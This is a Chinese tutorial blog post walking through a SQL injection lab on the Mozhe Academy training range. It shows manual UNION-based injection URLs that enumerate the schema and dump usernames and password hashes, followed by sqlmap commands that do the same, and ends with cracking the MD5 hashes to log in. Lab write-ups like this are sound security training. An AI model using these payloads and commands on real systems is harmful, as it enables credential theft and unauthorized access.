SQL手工注入+sqlmap工具测试漏洞测试(MySQL数据库)字符型注入

靶场:墨者学院mysql的sql注入

工具:sqlmap

访问页面:

判断注入类型:

 利用插件Hackbar判断该网页的注入类型:

http://124.70.91.203:41148/new_list.php?id=tingjigonggao' and 1=1 --+

输入:http://124.70.91.203:41148/new_list.php?id=tingjigonggao' and 1=2 --+

 

通过判断and1=1 和and1=2 可以看出为字符型注入

利用order by 判断有几个字段:

 order by 5 的时候有报错,但是order by 4没有报错 说明该表中有4个字段.

下面利用union联合查询判断显示位置: union select 1,2,3,4 --+  判断出显示位在2和3

 接下来利用database() 和version() 俩个函数来判断当前数据库名称和版本信息。

也可以利用user(),@@version_compile_os来查询当前用户和操作系统:

操作系统(@@version_complie_os):linux

当前用户(user()): root@localhost

数据库名称(database()): mozhe_discuz_stormgroup

数据库版本(version()):10.2.15-MariaDB-log

http://124.70.91.203:45608/new_list.php?id=1' union select 1,database(),version(),4  --+ 

http://124.70.91.203:46301/new_list.php?id=1' union select 1,group_concat(table_name),database(),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'   --+

这里讲解一下这个information_schema库,nformation_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式,比如有数据库名或表名,列的数据类型,或访问权限等信息

table_schema指的是数据库名称

 http://124.70.91.203:46301/new_list.php?id=1' union select 1,group_concat(column_name),database(),4 from information_schema.columns where  table_name = 'stormgroup_member' --+

这里table_name指的是表的名称

查看name,password字段里的内容:

http://124.70.91.203:41862/new_list.php?id=1' union select 1,group_concat(name),group_concat(password),4 from stormgroup_member --+

 之后利用MD5解密就可以了。

总结思路:利用database()函数来查询出当前的数据库,然后利用information_schema.tables查询该数据库里有什么表,然后利用information_schema.columns 查询出该表中的字段有id,name,password,最后联合查询stormgroup_member表中的name,password字段里的内容。MD5解密就ok。

下面是sqlmap工具:

首先 :sqlmap -u "http://124.70.91.203:46301/new_list.php?id=tingjigonggao" -dbs --batch

列出所有数据库:

 然后爆表:

 sqlmap -u "http://124.70.91.203:46301/new_list.php?id=tingjigonggao" -D mozhe_discuz_stormgroup --tables --batch

 爆表中 stormgroup_member 里的字段:

sqlmap -u "http://124.70.91.203:46301/new_list.php?id=tingjigonggao" -D mozhe_discuz_stormgroup -T stormgroup_member --columns --batch

 最后是字段内容:

  sqlmap -u "http://124.70.91.203:41862/new_list.php?id=tingjigonggao" -D mozhe_discuz_stormgroup -T stormgroup_member -C name,password --dump --batch

 MD5解密后登录。

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

全村的希望xh

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值